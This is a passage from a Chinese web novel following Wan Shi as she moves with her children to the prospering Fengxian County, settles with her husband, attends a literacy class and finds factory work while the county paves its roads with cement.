等此刻再听到最新的回信,加上丈夫这次一点东西都没顺带邮寄过来,万氏仔细琢磨后,便多多少少猜到了一点苗头。 定是那地方生活过得不错,他想让她带着孩子一并回去。 看来丈夫是真心实意的觉得那地方不错,不然不会不想着借着给她送钱的时候多带些东西,估计是嫌她过来时带不走,麻烦。 万氏是个有主见的女人,这会琢磨透了后自然不磨蹭,迅速将家中值得带的东西清点一番,至于带不走的,没价值的先留在家里,有价值的便找机会卖掉,毕竟若是日后有盗贼的话,进了屋内也没个能偷的东西。 只不过这房子就先留着,等她去了看看情况再说,且因为这房子是万惠祖上传下来的,所以她不是很想动。 除了变卖东西外,万氏还特意去问了最近有没有商队或者镖局前去外县。 但很快万氏就发现事实并没有她想的那么简单,这些商队不愿意带个累赘,哪怕给钱。 而镖局则是几乎没有前往风仙县的路线,若是非要去的话也行,只不过要加钱,而且因为是新路线,风险未知,去的人就她一个,自然要价很高,方氏根本就付不起这价格。 她有些气馁,毕竟别的方面都准备好了,就差这一步了。 但也不是着急就有用的,一日找不到合适的商队或者镖局,她宁愿留在元城也不能带着孩子们出去冒险。 她一个妇道人家,从未离开过元城,如今外面还不太平,若是路上被流寇劫匪杀了,那才是不得当! 方氏打听了两天,本以为要没戏,但谁能想到,竟然还真让她遇到了一只商队愿意带她一程。 此商队掌柜的姓杜,杜家商队。 起初是她先过去问的,那打头的是个黑瘦的小郎君,一双眼睛很亮。 她凑过去,扯了个笑和对方搭话。 “掌柜的,我想问问您这商队目的是哪儿,经不经过风仙县?” 杜百听到这话后不由自主的打量着眼前之人。 长得瘦小,看上去面相老实。 但她不能掉以轻心,毕竟不少人都不曾知晓风仙县这个名字,更是不会知晓自己一行人便是来自于风仙县内。 想到日后风仙县还需要瞒着本身身份,和谈天禄继续交易,眼下定是不能让此娘子耽误了她们大事。 且最为重要的是,杜百也在怀疑这人是不是有心之人专门派来打探她们动向的探子。 和万氏说话的同时,杜百悄悄用了兜里的符咒,此符咒是这次新出现的检测符咒,可以迅速检测此人对自己是否有恶意。 若有恶意符咒便会发烫,而若是没有恶意,则是像是平常一样毫无反应。 这会倒是装作寻常掌柜一样,好奇问她。 “不知娘子去那地方有何事?” 万氏眼看有机会,心中生出了一丝希望,忙开口。 “杜掌柜,是这样的,我丈夫在那边做工,突然给我发信件让我快些过去,我生怕他是受了伤或者遇到不测,想着赶紧过去。 早在几日前就已经收拾好东西,但却迟迟找不到商队,镖局前往那一片。所以如今只能挨个询问,看看有没有商队能捎带上我们一家三口。” 万氏不敢瞒着,毕竟她自认为自己不具备骗人的能力,尤其是和这些精明的商人比起来。 与其说假话让对方怀疑,还不如直接说真话,若是运道好便跟着一块去了,若是运道不好,那也不过是被拒绝而已。 而杜百也在等。 等到兜内检测符咒并未异常后,她便清楚此人说的是真话。 这会在内心思索她该不该帮忙。 在刚才听万氏描述时,杜百很快就知晓这娘子丈夫的身份——定是先前从黎州元城过来的那批匠人。 当初黎州和方大人定好了后,朝廷确实给送来了三百多匠人,而考虑到方大人对这些匠人的态度后,杜百决定帮忙。 一来是这三百匠人日后很大概率要定居在风仙县或者旗下的其余县域,所以定会写信给家人,让其跟着一起定居。 二来是本身方大人就是希望这种事出现,既可以增加本地人口,还可以削弱黎州百姓的自信心,毕竟百姓们都选择去了风仙县,而非是留在都城,这对于摇摆不定的围观者来说,绝对是一个催化剂。 三来则是就算她想得不对,但此娘子最多就是在风仙县和家人团聚,日后再也回不来黎州元城而已,倒也算是阴差阳错落了个好去处。 这会笑吟吟和对方套话,很快便将万氏的心思猜了个七七八八。 和她想的一样,这娘子既已经卖了家中有价值之物,定是打算在风仙县久居了。 既然她想去,那她就帮一把。 “巧了,我们虽说目的地不是,但途中会经历此处,若是不嫌弃,可和我等一起前去。” 万氏愣了一番,真没想到居然还能成功,毕竟刚才杜百问得好几句话,都冷冷淡淡的,看着不像是能帮她的。 这会心里自然高兴,忙点头。 杜百心想这娘子一看就涉世未深,还真是放心她,若是有个坏心思的将她连人带着两个孩子一起拐走也不是没有。 好在如今民生艰难,拐卖人口早就无用,且这娘子并非花容月貌,这才没在前两日被骗走。 杜百冷淡点头:“娘子回家去拿东西吧,明日卯时我等出发,还望娘子切莫迟到。” 万氏忙应下,这会回了家,再次将先前要带的干粮和银两装好,这才哄着两个孩子入睡。 而至于最近她行事是有些反常,时刻偷偷关注万氏情况的吴匠人有些觉得不对劲了。 等到他打探清楚这万氏居然卖了家中之物后,他一时间倒是猜测颇多。 到底是那万惠出了事,还是说是那什么风仙县不错,万氏想过去定居? 再多打探一番,那日万惠所写信件内容很快便被他打探清楚。 等听到对方说有要事后,吴匠人打心眼里认为是万惠出了事。 说不定是因为做工伤到了哪儿,这才急急忙忙喊万氏前去照顾一二,至于为何要带着孩子去,想来是伤得不轻,需要长久照顾。 再加上前两日万氏由于找不到前去风仙县的方法,一脸愁容,倒是被吴匠人误以为是万惠出事的一大证明。 当然了,最重要的是,吴匠人还处于和元城上层一样的想法。 ——不会真有人会选择去个名不见经传的小县城,而非是留在都城吧?从各方面来说,元城就算是再不堪,想来也是要比别的地方强得多的。 这番安慰自己,吴匠人还想前去假惺惺关心一番,等到第二日他起来后,这才发现那万氏已经带着孩子离开了。 走得这般匆忙,想来不是什么好事。 吴匠人如此安慰自己。 而从昨日同意万氏跟着自己后,杜百倒也将此消息飞鸽传递给方大人。 等到第二日,那万氏果然提前来了,一手拉着一个孩子。 因回去的马车大都是空的,三人便得了坐马车的机会。 万氏心提得很紧,眼看着马车带着她们出了元城,而后周遭景色迅速倒退,她看到了元城外的景色。 杜百如今面上是个男子,回去时,和万氏分开坐,两人并非一个马车,省得万氏不自在。 她倒是看到那万氏颇为好奇的看着马车外,两个孩子的小脑袋挤在另一边窗户看个不停,像是头一次出城的。 但转念一想,又觉得很正常。 男子也多的是一辈子不曾跨出城门的,更何况是对女子要求更严苛的世道? 这会不由自主又想到了风仙县,心跳加快了点。 风仙县就不是这样,如今本县女子地位可谓是拔高许多,毕竟在前几日,学堂刚出了好几个进入高级学堂的小娘子,至于其余进入中级级学堂的小娘子,也是多不胜数,之前学堂有统计过升学人数,小娘子升学概率可要超过小郎君。 所以在如今的风仙县,女子从生下来便被抱有和男子一样的期待,甚至于更多。 杜百扫了一眼那还在兴奋的万氏,心里不知为何,有些说不出来的烦躁郁闷。 不是对她烦,而是对许许多多和万氏一样的女子而郁闷。 第243章 来了 马车连着行驶了好几日这才到风仙县,万氏本以为这次出行多多少少可能会遇到什么麻烦,毕竟现在外面实在是不太平。 但她怎么也没想到,一路上竟然意外的安稳。 商队前进速度很快,但中途也会停下来吃口热乎的。 她因为带着两个孩子还收到对方的额外照顾,给她们三人吃了热乎的饭菜。 是简单的大炖菜,其中有万氏熟悉的粉条和豆干,里面还有猪肉,放在一起炖煮实在是味美。 且这炖菜里面还放着肉,闻起来就喷香。 其实就算不放肉,对于万氏来说,放点豆制品干货就已经足够美味,这放了肉的当然更好吃,只是先前在元城时她买不起肉而已。 起初万氏不好意思要,毕竟先前她说要给杜家商行一些便车费,但对方没要,只是说他们顺路而已。 如今又是给吃给喝的,万氏只觉得脸上烫得慌,但她不过一普通人家的妇人罢了,也无以回报,只能在心里默默感激对方。 这会吃着碗里的东西,心里想的却是这商队应当也会从那风仙县购买一些货物才是,不然为何会有和她丈夫寄过来的一样的豆干粉条? 但万氏并未开口,只在心中想想算了。 就这样每天坐马车,还能吃上热乎饭菜,这几日万氏竟是丝毫没觉得疲惫,反而因为伙食好又新奇,一路都颇为精力十足。 两个孩子年纪小一些,虽说也兴奋人生中第一次出门,但也是人小,觉挺多,时不时就要趴在马车里休息。 等跟着这杜家商行到了那风仙县时,因杜百一行人也要入城,此刻他们倒是一起入城。 只不过因为万氏和两个孩子还需要隔离,很快便和杜百一行人隔离开来。 起初被隔离期间,万氏很是担忧害怕,生怕是单单隔离自己一个人,但等到跟着官兵进了那隔离区,眼看那一个个屋子里都是要求隔离的人后,万氏倒也慢慢放轻松。 本以为这三日定是很难熬,但谁能想到,这里居然还管饭,吃得还不赖,若让万氏来看的话,比自家吃的好多了! 尤其是这新鲜的地瓜——万氏吃过丈夫邮寄过来的干地瓜干,也好吃,但和这新鲜的是两种完全不同的口感。 若是让万氏来说,她总归更喜欢这新鲜番薯的口感,甜,软绵如栗。 还不像是干地瓜那般费牙。 那吃的炖菜便不用多说,其内多了一名为豆腐之物,吸满了汤汁,吃起来嫩滑入味。 两个孩子吃得直眯眼,童言无忌,说想一直在这里呆着。 万氏弹了弹两个孩子的脑瓜门,这会嗔笑他们有了好吃的就忘了爹。 等到三日后离开此隔离点,万氏甚至生出了一抹淡淡的不舍来。 这会她走到万惠写着的住址去等他。 一路走过去,万氏竟是发觉此处和元城大有不同。 首先是街上的小商贩居然还要比元城多,且那摊位上的东西她闲来无事看了看,发现价格竟然都比元城要便宜许多,就连食物也是如此。 这一点发现让万氏很是惊叹。 且往来的商贩中,万氏还注意到有不少女子。 ——这里女子竟然能抛头露面出来摆着小摊? 万氏心中轩然大波,随后仔细观察一番,发现这些女子各个脸上带着自信的笑,和她以往见到的大多数女子谨慎含蓄讨好的笑不同,在这里,她们看着活得看着痛快极了。 万氏生了几分艳羡的心,但这会也不方便多留打听,只能先拉着孩子赶往丈夫住的地方。 路上还遇到了一盐铺,她突然就想到了原先丈夫给寄过来的那一小包盐巴。 既是丈夫能寄过来,那定是因为价格合算,此刻生出了想过去看看价的心。 因她不识字,这会便问了问卖盐的伙计价格是多少。 此人看万氏和两个孩子穿着简朴,又不识字和拼音,心中立马就将这三人定位为流民一类的人。 “这位娘子,两文钱一斤。不过若想购入一斤及其以上,需要采买证件或本地居住证,若是自家吃的话,最多只许买二两,之后吃完了再来买便是。” 万氏脑袋嗡嗡的。 这会眼睛不自觉瞪大,哆嗦了一会,又低头仔细去看那细盐。 洁白如雪,细腻如沙,这种细盐品质可比元城卖的最贵的细盐还要好,但只需要两文一斤? 再回想到上次丈夫包过来的那点细盐,也是如同这般细腻雪白,当初万氏因为不得已将它变卖出去,换了更多的粗盐回来。 虽说她早就有过心理准备,可能这边这品质的细盐确实会更便宜一些,但现在一看,心理建设还是做少了。 毕竟无论如何,也不是两文钱一斤??? 万氏还在发愣,一旁有新来的人已经将居住证递过去,顺利购入了一斤盐离开了。 看着这人的背影,万氏也赶紧掏出钱。 ——能买二两也是赚了啊! 花了两厘买了二两,将这个小包郑重放在兜里。 万氏在住所处等了万惠一个来时辰,丈夫总算是来了。 万惠刚下工,他最近日日都去城门看妻子有没有过来,但也是运气不好,上次万氏进城时,因为是坐着杜百的马车,所以他看漏了,这才不曾知晓妻子已经带着孩子来到此地。 眼下自然很是惊诧兴奋。 将妻子带到自己住的地方,万惠忙将近日风仙县极其周围县域要招工一事告知妻子,而万氏则是在丈夫的帮助下,慢慢建立起了对整个风仙县的大致理解。 等听闻此地各种福利待遇,再加上最低日薪均为一百文后,万氏觉得自己还是脑袋没反应过来,呆愣得很。 万惠仔细给她讲了此地的仙人,全知全能,无所不能,这风仙县能有如今,完全是这位一直在庇护着。 虽说万惠给妻子讲了许多,但总归万氏没亲眼看到,没什么实感。 两人的话题很快延伸到最为重要的一件事。 ——换住所。 既然妻子孩子都过来了,万惠自然不能再继续在这里住下去了。 这里只适合一个人住,这一大家子如何能塞下? 且人来人往的,也不方便。 先前万惠就在纠结到底是该租那年租金为8两的崭新住所,还是租金为4两的稍旧住所。 后来因考虑到万一妻子能进入玉县当工人,按照距离看的话,他还是选择了那4两的住所。 虽说稍破旧一些,但他会手艺活,稍微一修整的话,住进去应当也不差。 因这几日知晓妻子可能会来,万惠早就找了牙人,预先定了那4年一两的住所。 他如今手头的钱足够租那4两的房子。 等到和原房主签订完合同,本以为还会再等几日妻子才会过来,倒没想到今日妻子便来了。 一家人自然将东西搬到了那租的房子内。 万氏因没看到那8两的新住所,这会搬到这新家还觉得很是不错。 “院子里有地,打水的地方也近,还有单独的灶台,环境不错。” 又进去看了一眼这住所,先前所说的陈旧自然是和那新住所相比,但若是和万氏他们原先在元城住的地方对比的话,这墙简直是干净极了。 万氏满意得直点头,又听自家丈夫已经安排好了日后的改造计划。 “日后我买些旧木条,给这灶房安一个门,这样便更好,不怕风不怕雨的,对了,砖块我也得买些,垒个墙出来。还有便是这屋子里面的墙有些不太白,改日我重新再刷新一番,保证让它更亮堂。” 两个孩子在院子里看那块土地,说着这里应该种点蔬菜瓜果才是。 万氏心想近两个月不见,丈夫倒是变得对生活要求高了不少,她也不是那等没情趣之人,只是笑着点头。 “若是手头宽裕了就弄。” 心里想的是得去买点种子,这地得种上菜才是。 按道理妻子孩子来了,应当带着她们吃一顿大餐才是,可惜万惠手头钱并不宽裕,只能带着妻子孩子去小吃街转转。 出来时太阳已经完全落下,但沼气灯亮如白昼,头一次见到此盛况的万氏和两个小萝卜头都惊得瞪大嘴巴。 万惠心想他刚开始也是被惊了一跳,现在日子长了,竟觉得成了习惯。 这会赶忙解释:“沼气灯,咱们租的房子里也有一盏。” 万氏还在发愣,直到一股霸道的味道席卷而来。 正是酸辣粉。 物美价廉,滋味酸爽诱人。 其余摊位也是花样颇多,各个都是万氏三人不曾见过的。 其实万惠本人也没来过小吃摊,他来了两个月,只是埋头赚钱,还是听工友说这里物美价廉,这才带着妻子孩子过来。 其实他是想着等下个月工钱发下来,等他们全家安顿好了,他就带妻子孩子去吃一顿大餐,给她们买上次他就想买一点的张氏点心铺给她们尝尝,但不是现在。 好在看着妻子孩子吃得一副心满意足的模样,万惠突然觉得来这里来对了。 一颗心滚烫而又饱满。 他喝光了妻子剩下的酸辣粉汤汁,辣得背过身子,直抹眼泪。 之后又给孩子们买了许多花样吃食,两个孩子不曾吃过这些新奇玩意,各个像是小仓鼠一样,捧着食物吃得高兴。 就连一向稳重的万氏,也笑弯了眼睛,露出几分当年刚嫁给他时的轻快来。 等到吃饱喝足,一家人回了住所。 因是夏日,天气较为炎热,稍微打扫一番便能直接住进去。 睡觉的话,就铺着万惠先前的床单躺着,还算舒服。 躺着时,万氏算了算手里头的钱,——丈夫这两个月的工钱,再加上变卖家中值钱物件的钱,一共有三十两。 明日得去采买一番家中所需物品,譬如锅碗瓢盆,床单什么的。 至于棉服和棉被贵,可以慢慢攒钱去买,毕竟距离过冬还有些时间。 一时间顿觉花钱地方不少,还需要省着花才是。 而万惠则是想到了更重要的问题——扫盲班的毕业证!若是在招工前没能拿到这扫盲班毕业证,说什么都是白扯。 此刻忙开口,将那扫盲班一事告知妻子。 其实今日万氏就看不少人去了那扫盲班,只是她当时着急见丈夫,这才没过去。 毕竟她心想自己来了是为了看看丈夫情况,而非去读什么扫盲班,所以没放在心上。 眼下听丈夫说这扫盲班的毕业证的作用后,万氏顿时立马明白了这玩意的含金量。 ——要想有工作的前提便是拥有扫盲班毕业证,看来明日她应当先去上扫盲班,等到上完了再回来采买也不迟。 第244章 惊喜 第二日,万氏便去了那扫盲班。 等去了后,人比她想象中的要多,但好在她来得较早,排队排在前面。 进入那扫盲班后,万氏有些紧张,毕竟这算得上她生平头一次进这等类似学堂一样的地方,以往连想都不敢想。 此刻坐在椅子上,认真听讲时,万氏总算明白了丈夫昨夜说的这扫盲班内容并非难,而是较为新奇。 新奇?万氏起初不理解,但等看到所教授的拼音,乘法口诀等等后,她顿时了解了这话的含义。 本还担心自己会不会学不懂,学不会,但认真听讲后,万氏发现这并不难,且她学得还挺快。 这最重要的原因便是万氏不曾读过书,但人本身并不蠢,此刻反而更容易接收全新的知识系统,要比那些没读太多书的人学得要快。 这发现还是扫盲班的夫子发现的。 就这样,万氏很快便学会了拼音,口诀,卫生知识,风仙县政策等等必须要了解的知识。 而在这之间,夫子还讲了本县如今的厂子数量颇多,能满足本地需求使用,所以物价才会便宜,除了这些外,夫子还额外讲了学堂制度,平权制度,以及婚嫁制度。 万氏惊诧不已—— 先说这学堂制度,凡是想入学者,无论年龄,性别,背景,只看人品过关即可入学,且一年仅需缴纳一两银子作为学费,期间别的不需要再缴纳了。 万氏觉得自己和做梦一样。 她虽说不曾读过书,但她原先阴差阳错倒是得了几日的好差事。 元城一大户家里因为过节,后厨紧急需要帮手,因府内刚好不少人风寒,这活计便被空了出来。 当初万惠也给这大户人家负责修缮建筑,因好歹是个熟悉的人,管事的便让她来后厨上工。 一共五日,每日大都是帮着备菜,洗菜,烧火。 万氏在最后一日时,倒是意外被小郎君的贴身丫鬟点了,跟在身后,拎着食盒,前去给前院的小郎君送饭。 一般来说,后厨不被允许去前院,且来了这几日,万氏一直在后厨帮着忙活,不敢有别的心思说是去院子里转悠一番。 她又不认识路,若是冲撞了贵人岂不是连累丈夫? 但此行跟着丫鬟身后,万氏倒是头一次见这番精致典雅,花团锦簇的模样,一时间差点愣神,而后又迅速跟上,只是心里还在砰砰直跳。 等到见到那读书的小郎君时,万氏也是头一次见到这般清秀淡雅的小郎君,对方穿一身淡蓝色衣袍,年岁不大,但说话温文尔雅,和她以往见过的别家小郎君完全不同。 万氏忙跟着弯腰,却用余光扫过这小郎君,见对方神态自若,一时间心里倒是想到了自家的两个孩子。 这会又忙骂自己怎么敢想这些有的没的。 毕竟刚才她垂头等这小郎君吃完饭时,便从一旁的丫鬟口中大概知晓了这读书的花销。 ——除了身份地位外,年纪不能大,还不能笨,且除了夫子费外,每逢过年过节都需要送礼,更别提平常需要的笔墨纸砚以及书籍钱了。 这是一个天文数字,万氏很快心中那点不该有的憧憬立马消失,等到回家后看到自家的两个孩子,心想她不该妄想读书,那等事不是她们这样的人家该去做的。 而如今,风仙县的学堂仅需一两,万氏曾经死去的念头立即活了过来。 等细细听了这夫子讲解后,她立马决定要将两个全都送过去。 等到今日扫盲班结束,万氏先采购一番刚需物品,而后回家和万惠商量明日让他将两个孩子送过去读书。 本身万惠就想将孩子送进去,如今妻子主动提起,岂有拒绝的道理,再说了,一年一两,这和做慈善有何区别? 将今日采买之物装点一番后,总算像个家的样子了。 两个孩子正欢快地踩着床单蹦跳打滚,万氏看向窗外正在用废木条做灶房门的丈夫,心里不自觉生出暖意,一种从未有过的轻松心情,一股说不清道不明的喜悦正不自觉蔓延全身。 而此刻,风仙县的修路正在加紧执行。 因路线繁多,首批铺路自然是先铺设主干道,其次便是支路,最后才是各个百姓家门前。 当然了,百姓家门前的水泥路,方知意早有解决之法,倒是不用费心。 目前要做的第一件事就是铺设主干道。 先前水泥厂开设后,工人们顺利入场后便开始每日源源不断的生产水泥。 而工厂在生产,另一批负责铺路的人也在忙着铺设道路。 率先在报纸上告诉民众哪一条主干道今日修缮,让众人出行避开后,他们便开始用水泥挨个铺设。 这几日都是晴天,干得很快,这便大大提升了铺路的成功率。 而早在报纸上得到铺路消息的众人倒是炸了。 “铺路?咱们风仙县的路还不好么?”这是觉得自家第一派的。 虽说有滤镜,但也倒是实话,虽说方知意觉得路面已然需要重修,但大部分人去过别的县域,路可比这烂多了,自然觉得自家的路已经够好走了。 “铺了也好啊,原先那主干道砖块都开始破损了,日后若是来往车马多了,修路更是费劲,不若趁着现在提前修路。”这是理智分析派的。 “城西那边已经开始铺设了,我听他们说,这次主干道,乃至日后全城,都要铺设成三合路,最差也得是砖石路的那种。” 这是八卦派的。 此话一出,众人顿时接连抽气。 “三合路?这消息可准确?那消耗的成本和人力可是难以估量” 毕竟谁都知晓那三合路修缮时多么麻烦,成本还高,原先以前那个县令还在时,只会给驰道重要路段修一截三合路,别的都是砖石路。 “千真万确,不过我听说那不叫三合路,叫水泥路!” “水泥路,莫非是前些日子刚开的水泥厂?里面产的便是铺路所需水泥?” 水泥这两个字对于众人来说还很是难以消化理解,这会略显纠结的说着这两个词语。 “怎地不是?定是如此了,不然为何县令大人要下令在隔壁县域也开设这水泥厂?依我看,县令大人是打算日后给每个县域都铺成这水泥路!” 众人此刻更是瞪大眼睛,实在是倍觉惊诧。、 全部县域都铺设?这财力是不是太雄厚了一些? 其实大家还是没怎么信的,直到第二天,那报纸上开始科普水泥路。 ——铺设所需时长为三天,之后硬度如同三合路,且这是经过实验的。 最后还加了一条提醒,任何人不得在道路还未放开前上去损坏道路,不然违者要付相应责任。 等这关于水泥路的科普一出来,第一批拿到报纸的人则是啧啧有声。 当然,众人都对这所谓的水泥路很是好奇,毕竟从未看到过,一时半会实在是心痒难耐,恨不得那修的水泥路赶紧通行,好让他们前去看看何为等同于三合路的存在,也好在这水泥路上好好走一番,一会一番。 毕竟原先的驰道,原县令因为害怕人走多了会让路坏掉,最后还需要他花钱修缮,于是严禁行人在两旁走路,那驰道仅仅是用来给上面的官员,军队调动,以及官府文书传递时使用。 更别提最中央的,供给皇帝走的三合路,那可是谁都不许踏足的,不然等同于犯法。 因此前修缮的这条主干道包括百姓日常通行之路,所以大多数百姓还是好奇居多。 等到那水泥彻底干透后,众人下了工,倒是结伴去围观水泥路了。 到了地方,眼看那平整光洁的道路,众人难免瞪大眼睛,这会小心翼翼的伸手去摸,除了感受到白日的余热后,还能感觉到手心里光滑的触感。 竟会如此?这水泥路铺设出来很是光滑,想来车马跑在上面很轻快。 而且最为重要的是,这路看起来甚至要比三合路还要平整,至于硬度还需日后再看。 但眼下水泥路的触感明显超出众人意料,有些没走过三合路的人,此刻光脚走在路上,小心翼翼的,生怕把路压坏,又面带羞涩。 “这路走起来还怪暖和的。” 一旁有人笑话他。 “傻子,那是白日太阳晒的!” 被笑的人没恼火,傻呵呵挠头,继续道:“晒的?这路走起来一点都不硌脚,真舒服。” 其余人笑声连连,却也趁着乱,学着将脚慢慢放在上面,感受那细腻的纹路。 这会有人被暖得直眯眼,索性趁着道路还未曾完全开通,道上没车,躺了下去,浑身被温得暖洋洋,舒服得叹息。 “真好啊,这路,暖呼呼的,和泡在水里一样。睡起来光溜溜的,要是没车的话,我能在这里睡一宿。” 众人自然笑着开玩笑。 这情况倒是被祝应和方知意看得清楚。 这会并未下令将这些百姓劝走隔开,反而笑着看这些百姓们傻呵呵的躺在路边谈论说笑,甚至还有人坐下来,三五成团,开始争论辩解些什么,但大部分时候,均是笑声连连,就连方知意本人也不曾知晓修路会让这些百姓们看着这般兴奋。 这会祝应先开口了。 “方大人,这日后修路的钱,库房里可还够?” 方知意稍微笑了笑。 “如何不够?那幽州坎城给了许多,而那明州陈京行也给咱们提供了修路费,这不是很适合修路?” 这会看祝应脸上带着淡淡的笑容,方知意继续笑了,带了点恶劣。 “不仅仅如此,那陈京行给的钱,我还用在了那火铳上,日后也让他瞧瞧。” 第245章 小像 风仙县的修路速度还是异常恐怖的。 短短三日,第一条主干道铺设完毕,而后在半个月,陆陆续续将风仙县其余主干路铺设完毕,开始迅速铺设支路。 因支路较多,这会速度倒是慢下来了。 除了修建本县道路,位于风仙县不远处,接连联合村落的这条路也已经被重新修建完毕。 如此以来,两方通行更为方便快速。 而与此同时,各个县域的水泥厂开始发力,其内工人日日不停歇,倒也因为消耗大,库存很快便消耗到了日常使用中。 而眼看有逐渐积累库存的趋势后,祝应组织了施工队,也将其余县域的主干道铺设完毕。 等仙师旗下区域主干路均铺设完毕后,方知意打算先完善风仙县和联合村落内的道路,而后再慢慢辐射至其余县域。 此刻召来负责铺路的负责人。 “既支路已经铺设了一半,也该是时候让百姓自发铺设自家小道了。” 风仙县道路错综复杂,不可能说靠着修路队就能将整个县域的路面全部修成水泥路,一来是太耗费人力资源,二来是没那么多工钱和时间。 方知意早就想到办法,将水泥发放到每一户居民手中,让他们自行铺设。 表面上就说是官府送的水泥,不用他们花钱购买,可以自行铺设自家门前的水泥路。 她给的量均会比铺设路面多一些,剩余的可以由他们自由发挥,想用在哪里就用在哪里。 且在一个月后,本县会通过审查方式,选出将自家门前修建的最为规整漂亮的前三名来。 第一名奖励100两以及本县工厂的十种产物,包括布料,油,盐,糖这些,第二名奖励50两和十种产物,第三名奖励30两和五类产物。 这消息第二日就被刊登在报纸上,当日报纸被一抢而空。 众人掀开报纸,看到这消息后各个惊叹。 “官府不要钱给咱们发放水泥?而且还要弄这个比赛?” “这么好啊,本来我看那水泥路铺得那般好,本想着自己花钱买点,也给自己门前弄一弄,不然一到下雨天,总是踩得一脚泥印,如今官府竟然免费给咱们送水泥!” “这水泥量送得不少啊,依我看绝对够了,或许还能用在别处!” 众人心情激动得很,毕竟先前不久才看到了那水泥路面的平整模样,如今方大人还下令白给,他们如何能不激动。 而本县大户们自然是默默将自己排除在外,本来方大人这活动就不是对他们开放的,但既然官府给了水泥,他们也乐于将门前铺设得规整。 毕竟人都在风仙县混了,不听话可不是好事。 等到第二日,官府早就派人将水泥分放到各个街道负责人处,之后再让百姓们挨家挨户去街道负责人那里领取水泥。 这样下来效率最高,且负责人还要负责教授如何按比例使用水泥。 等众人听明白后,这才任由他们将水泥带走回去铺设。 不说别的,就连素日只专注于干活的万惠都听到这消息。 ——没想到官府居然给白送水泥? 万惠倒是不敢想获得那前三名奖项,只是想的是将自己租的房子门前铺设干净,然后用多余的水泥抹一抹灶房墙壁,想来会更为结实耐用。 等到下了工,将水泥领回到家后,万惠便开始慢悠悠做活。 他技术很好,因原先就是靠着细致手艺养家的,如今铺设自家门前也铺得很是完美,水泥路面细腻无痕,不比官府先前铺设的道路差。 剩余的水泥,他将灶房墙壁抹了抹,然后发现居然还剩了不少,这会便回忆起那些大户人家庭院内设计,大致修改后在自家门前的砌了两个花槽,打算日后撒一把种子下去。 这一番操作,总算将水泥消耗完毕。 万氏很快在这花槽里撒了些种子,而后避开水泥,沿着万惠特意填充充当砖块路的小路上通过。 倒不是万惠故意设计,而是他觉得起码得留个能通行的路,这才用水泥和砖石混铺,当然,大部分还是水泥路,这砖石看上去倒像是点缀。 除了万惠家,别的人家也开始陆陆续续铺设自家门前,有手艺的便想看看能不能拿到那等奖项,若没手艺的只算得了免费水泥也是极好的,风仙县一片和谐。 而于此同时,万氏总算是从那扫盲班毕业了。 也是运道好,她刚拿到毕业证,第二日报纸上便爆出大消息。 其余几个县域的地瓜厂和豆腐厂也开始招人,且人数不少。 万惠知道这消息时,万氏人已经去了那隔壁的玉县应聘,等下午回来时,眼看妻子一脸喜气洋洋,万惠便知晓这事是成了。 这会忙问招收到了何处。 “豆腐厂,这里需要的人比地瓜厂多,每日福利便是当日豆腐若有剩余,即可带着回家用。日薪为150文,这么高的工钱,我从未想过我也能拿到这工钱。” 万氏眼角眉梢带笑。 她近日来了风仙县后,因吃得伙食比先前好了许多,这会身子慢慢补了起来,气色也比原先好多了。 再加上前不久刚将两个孩子送入学堂读书,如今丈夫每日赚个三四百文,她如今也是成功成了豆腐厂的员工,也可一日赚150文了,自然是喜不自胜,顿觉这日子都过得有盼头了。 一日是550文,一个月便是11两。 妈呀—— 万氏心脏砰砰直跳,这辈子没想过自家还有能过上这日子的时候,这会喜得合不拢嘴,万惠谨慎,倒是将原先厂子的那套说辞拿出来。 “倒不是日日都能赚三四百文,若是日后场内活计少了,我估计也是每日一两百文吧。” 主要也是给妻子打个预防针,怕她受不了打击。 万氏心想自己这些年什么打击都接受了,至于接受不了这点落差,就算是每日他们两人赚300文,那日子过得也有盼头啊,毕竟本县的生活成本低,粮食比外面便宜许多,肉的话,虽说没便宜很多,但那也比外面更有价格优势,且谁家肉也不是天天吃。 不过那扫盲班说了,吃不上肉的时候,那便吃豆腐,一样对身体好,还便宜。 一方豆腐才两文钱,像是他们家这样吃得多的,两方也足够了。 再加上招聘到豆腐厂后,万氏还能时不时带点免费豆腐回来,这点小福利也算是让她很是期待。 毕竟她原先在元城大部分时候只能吃点孩子弄来的拇指大小的鱼苗当做荤腥,那会的生活,如何能比得过现在? 两方一对比,万氏便觉得自己这搬家真是搬对了。 尤其是在豆腐厂上工几日后,万氏很快便觉得浑身舒爽——这点强度,她觉得自己完全能接受,且每日只需要上工四个时辰,比她当时在外面一呆就是一天强太多。 而且因为厂内女工数量不少,万氏很快便寻到了几个距离自家近的搭档,日后混熟了倒也算在这里有了新的朋友。 因大家都上过扫盲班的缘故,思想较为接近,至少万氏没觉得和同事们有太大的矛盾,上工时间大伙说笑着就能完成工作,还不累人,工钱还高,这一切都让万氏觉得自己和做梦一样飘忽。 她上工后,倒是陆陆续续从女工们口中了解到这风仙县有一条街道,那里面全部卖着仙师的木雕,画像,若是有闲钱的可以去买一尊小像,放在家里供着。 万氏早在上扫盲班时就听过仙师过往所做之事,当初实感不强,但如今生活这般幸福,这般让她有所期待,自然对这位仙师颇为敬畏,忙跟着打听。 “咱们就买便宜的就行了,那条街道上有一位宋画师所画画像最为经典,那些家中殷实之人各个都请这位宋画师亲自作画。 不过那价格太贵了,不适合咱们买。 不过我听说那宋画师每日会免费展览画作,其内便有仙人画像,据说和仙人本人异常接近了,咱们既然要去买小像路过,不若也跟着去排队看看去,也不浪费专门过去一趟!” 这话自然惹得众人心头颤动,其中倒是有一妇人激动道:“我去看过,仙人模样实在是” 想了半天,却没想到该如何评价脑内还深深印刻的那画像带来的冲击力。 这会只能叹息。 “没法形容,反正你们去看了就知晓了,且那宋画师说,他所画仙人最多只有仙人七分神韵,简直不敢想真正的仙人到底是何模样!” 此人一经开口,大家更好奇了。 其中便包括万氏,她好奇得打紧,好容易仔仔细细完成了今日工作,这才和要去买小像的几位同事一起前往那条街道。 等到了地方后,万氏诧异这条街道可比她想得要热闹多了。 ——至少比元城内的那条专门售卖道宫和佛像的那条街热闹许多。 这里人来人往,她甚至被推得走了几步,这会倒是看到附近的画像,雕塑。 只见那一个个画像均是俊秀异常,虽说不少模样长得不太相似,但总归都是好看的。 这会还没想好买个什么样的,就被同事拉着往前跑。 “哎快点,那宋画师的展览马上要关门了,咱们得快些去,不然今日白来了!” 万氏被扯得往前跑,直到到了那宋画师门前,发现乌泱泱一片全是人。 